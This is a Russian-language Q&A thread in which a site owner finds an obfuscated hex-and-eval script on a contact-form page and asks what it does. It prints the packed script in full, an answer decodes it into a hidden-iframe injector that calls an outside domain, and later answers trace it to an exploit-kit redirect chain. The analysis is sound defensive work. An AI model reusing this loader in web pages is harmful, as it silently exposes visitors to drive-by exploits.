Javascript, содержащий длинную шестнадцатеричную строку и eval: это подозрительно?


3

В нижней части файла index.php для простого «связаться с нами» форму, я нашел следующее (некоторые пробелы и переводы строк добавлены):

try {if(window.document)--document.getElementById('12')} 
catch(qq) {if(qq!=null)ss=eval("St"+"ring");} 
a="74837c7182777d7c2e88888874747436372e89182e846f802e797a7171802e4b2e727d71837b737c823c7180736f8273537a737b737c8236357774806f7b7335374918182e797a7171803c8180712e4b2e357682827e483d3d7c777c7d807d7b6f7c7d3c77823d525c5558867251653c7e767e3549182e797a7171803c8182877a733c7e7d817782777d7c2e4b2e356f70817d7a8382733549182e797a7171803c8182877a733c707d807273802e4b2e353e3549182e797a7171803c8182877a733c7673777576822e4b2e35477e863549182e797a7171803c8182877a733c85777282762e4b2e35457e863549182e797a7171803c8182877a733c7a7374822e4b2e353f7e863549182e797a7171803c8182877a733c827d7e2e4b2e353f7e86354918182e77742e362f727d71837b737c823c757382537a737b737c82508757723635797a7171803537372e89182e727d71837b737c823c858077827336354a7277842e77724b6a35797a7171806a354c4a3d7277844c353749182e727d71837b737c823c757382537a737b737c82508757723635797a71718035373c6f7e7e737c725176777a7236797a7171803749182e8b188b1874837c7182777d7c2e617382517d7d79777336717d7d7977735c6f7b733a717d7d797773646f7a83733a7c526f87813a7e6f8276372e89182e846f802e827d726f872e4b2e7c73852e526f8273363749182e846f802e73867e7780732e4b2e7c73852e526f8273363749182e77742e367c526f87814b4b7c837a7a2e8a8a2e7c526f87814b4b3e372e7c526f87814b3f49182e73867e7780733c81738262777b7336827d726f873c75738262777b7336372e392e41443e3e3e3e3e384042387c526f87813749182e727d71837b737c823c717d7d7977732e4b2e717d7d7977735c6f7b7339304b30397381716f7e7336717d7d797773646f7a837337182e392e304973867e778073814b302e392e73867e7780733c827d555b62618280777c7536372e392e36367e6f8276372e4d2e30492e7e6f82764b302e392e7e6f82762e482e30303749188b1874837c7182777d7c2e557382517d7d797773362e7c6f7b732e372e89182e846f802e81826f80822e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e7c6f7b732e392e304b302e3749182e846f802e7a737c2e4b2e81826f80822e392e7c6f7b733c7a737c7582762e392e3f49182e77742e362e362e2f81826f80822e372e3434182e362e7c6f7b732e2f4b2e727d71837b737c823c717d7d7977733c818370818280777c75362e3e3a2e7c6f7b733c7a737c7582762e372e372e37182e89182e80738283807c2e7c837a7a49182e8b182e77742e362e81826f80822e4b4b2e3b3f2e372e80738283807c2e7c837a7a49182e846f802e737c722e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e3049303a2e7a737c2e3749182e77742e362e737c722e4b4b2e3b3f2e372e737c722e4b2e727d71837b737c823c717d7d7977733c7a737c75827649182e80738283807c2e837c7381716f7e73362e727d71837b737c823c717d7d7977733c818370818280777c75362e7a737c3a2e737c722e372e3749188b1877742e367c6f8477756f827d803c717d7d797773537c6f707a737237188918777436557382517d7d7977733635847781778273726d837f35374b4b434337898b737a817389617382517d7d7977733635847781778273726d837f353a2e354343353a2e353f353a2e353d3537491818888888747474363749188b188b18"; 
z=[]; 
for(i=0;i<a.length;i+=2){z.push(parseInt(a.substr(i,2),16)-14);} 
eval(ss["fr"+"omCharCode"].apply(ss,z)); 
</script><!--/0f2490--> 

Каждый знает, что делает этот код? Возможно, это будет ожидаемой частью страницы, или это признак того, что сайт взломан?

+4

Да, возможно, этот сайт получил «взломанный» 10 авг. 132013-08-10 10:35:14

+1

Нет, он не взломан, он запутан, так что вы не поймете, что он делает. Поиск в google для Obfuscation. 10 авг. 132013-08-10 10:36:57

+3

@AkashKava Это не значит, что сайт не был взломан. 10 авг. 132013-08-10 10:39:21

  0

Как я могу безопасно протестировать этот код, чтобы узнать, что он делает? 10 авг. 132013-08-10 10:41:19

+2

@Edward: заменить последний 'eval' на' console.log'. 10 авг. 132013-08-10 10:42:04

  0

@Edward, вы можете запустить его в [jsfiddle] (http://jsfiddle.net), я полагаю. 10 авг. 132013-08-10 10:42:29

6

я узнал, что он делает (пожалуйста, быть снисходительным со мной, Я не Java-разработчик)

Что можно легко видеть, что скрипт вызывает String.fromCharCode() на номера, присутствующих на a строки для создания новой строки и ее выполнения. Кодирует a строки прибудет, переведенные на это:

function zzzfff() { 
var klccr = document.createElement('iframe'); 

klccr.src = 'http://ninoromano.it/DNGJxdCW.php'; 
klccr.style.position = 'absolute'; 
klccr.style.border = '0'; 
klccr.style.height = '9px'; 
klccr.style.width = '7px'; 
klccr.style.left = '1px'; 
klccr.style.top = '1px'; 

if (!document.getElementById('klccr')) { 
document.write('<div id=\'klccr\'></div>'); 
document.getElementById('klccr').appendChild(klccr); 
} 
} 

function SetCookie(cookieName,cookieValue,nDays,path) { 
var today = new Date(); 
var expire = new Date(); 
if (nDays==null || nDays==0) nDays=1; 
expire.setTime(today.getTime() + 3600000*24*nDays); 
document.cookie = cookieName+"="+escape(cookieValue) 
+ ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : ""); 
} 

function GetCookie(name) { 
var start = document.cookie.indexOf(name + "="); 
var len = start + name.length + 1; 
if ((!start) && 
(name != document.cookie.substring(0, name.length))) 
{ 
return null; 
} 
if (start == -1) return null; 
var end = document.cookie.indexOf(";", len); 
if (end == -1) end = document.cookie.length; 
return unescape(document.cookie.substring(len, end)); 
} 
if (navigator.cookieEnabled) 
{ 
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/'); 

zzzfff(); 

Теперь, я не уверен, что (помните, я не яваскрипт разработчика), но это, кажется, код, который ворует куки (угон сессий возможно)?

EDIT

В дальнейших исследованиях:

  • Скрипт проверяет, есть ли конкретное печенье присутствует (Name: "visited_uq", Content: "55", URL: "<current_url>", Path: "/", Expires: "24 hours after creation"), и если это не создает его.
  • Затем он создает новый элемент документа, который он модифицирует, чтобы его было очень сложно заметить (ширина 7 пикселей, высота 9 пикселей), и который запускает скрипт php, доступный по адресу http://ninoromano.it/DNGJxdCW.php. Если вы посещаете это, он возвращает «ok» и ничего больше в коде страницы (домен, похоже, скомпрометирован). (Я не могу получить больше информации, кроме этого)

Скорее всего, это попытка захвата сеанса.

  0

скрипка: http://jsfiddle.net/YkDWJ/ 10 авг. 132013-08-10 11:11:23

  0

Поскольку это было в index.php для формы «свяжитесь с нами», что может быть полезно для хакера, чтобы сделать захват сеанса? Может ли он перехватить контекст, если пользователь заполнил форму «Свяжитесь с нами»? 10 авг. 132013-08-10 11:22:02

  0

Спасибо. Я не знал о Security.StackExchange. 10 авг. 132013-08-10 11:29:10

  0

Прошу прощения, но это неверно. Это этап загрузки iframe многих печально известных наборов эксплойтов; методы cookie - это просто обеспечить, чтобы пользователи не загружали iframe более одного раза. 11 авг. 132013-08-11 16:59:23

  0

@ Аноров жаль, я не знал об этом. Я отнюдь не эксперт по безопасности, и я также не знаю ничего связанного с сетью (я - инженер-хакер/компилятор ядра). Не стесняйтесь редактировать мой ответ, чтобы исправить его. :) 12 авг. 132013-08-12 07:26:38


3

При первом запуске сценарий создает iframe, указывающий на ninoromano.it. Затем он создает файл cookie, так что в последующие моменты времени вы загружаете его, он не запускается снова.

iframe - это сценарий использования браузера. Если вы просмотрите его в браузере, о котором он не знает, вы просто получите строку «ok», но если вы загрузите его, скажем, в более старую копию IE, вы получите целую кучу эксплойтов, чтобы заразить вашу машину.

Сайт был взломан (и так выглядел ninoromano). Общим источником такого рода заражения являются клиентские вредоносные программы, которые крадуют пароли учетной записи сервера (часто это вредоносное ПО, используемое эксплойтами!). Тот, кто несет ответственность, должен сканировать все клиентские компьютеры, которые обратились к серверу с несколькими AV-серверами (поскольку AV-файлы не очень надежны); переустанавливать зараженных клиентов с нуля; выбрать новые пароли сервера; переустановите сервер с нуля.


3

Что вы ищете - это упакованная (запутанная) версия эксплойта «iframer». «iframer» означает только фрагмент Javascript, который будет загружать внешний iframe; в большинстве случаев iframe указывает на некоторую часть цепочки, которая в конечном итоге загрузит набор эксплорера браузера.

(Очевидно, что прямо не заходите ни на одну из приведенных ниже ссылок.)

Если вы сделаете запрос на целевую страницу набора эксплойтов, hxxp://ninoromano.it/DNGJxdCW.php с действительным рефериром и пользовательским агентом IE, вы будете перенаправлены на другой URL-адрес.

Это этап перенаправления; ninoromano.it в этом случае, вероятно, является частью системы распределения трафика «TDS»: ее задача состоит в том, чтобы разделить трафик на разные целевые страницы набора эксплойтов (или, иногда, на общую раскрутку) на основе референта, а иногда и страны клиента.

http://www.symantec.com/connect/blogs/web-based-malware-distribution-channels-look-traffic-redistribution-systems

Загруженный URL-адрес имеет узор, похожий на hxxp://innocuus.myseniorbook.com:801/lace_poet_prolonged.htm. Вот его содержание.

http://pastebin.com/gw20261S

Просто глядя на эту страницу, я уже признать это как "Cool Exploit Kit". Вы можете узнать подробности об этом подвиге наборе в различных местах:

http://www.avgthreatlabs.com/virus-and-malware-information/info/cool-exploit-kit/ http://malware.dontneedcoffee.com/2012/10/newcoolek.html http://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html

Другой IFrame загружается на целевой странице, hxxp://innocuus.myseniorbook.com:801/who-solely_sex_painting.html

Это IFrame содержит основную часть фактического вредоносного кода. Он пытается использовать различные эксплойты, прежде всего эксплойты Java, все из которых будут загружать и выполнять вредоносную полезную нагрузку.

http://urlquery.net - это фантастический сайт для автоматизации такого анализа. Просто не забудьте установить IE user-agenet и какой-то референт каждый раз.

Многие различные комплекты эксплойтов используют этот аромат пакера JS, который вы видите в нижней части страницы. Если вы видите какой-либо код, который выглядит так, вы можете предположить, что он очень вреден.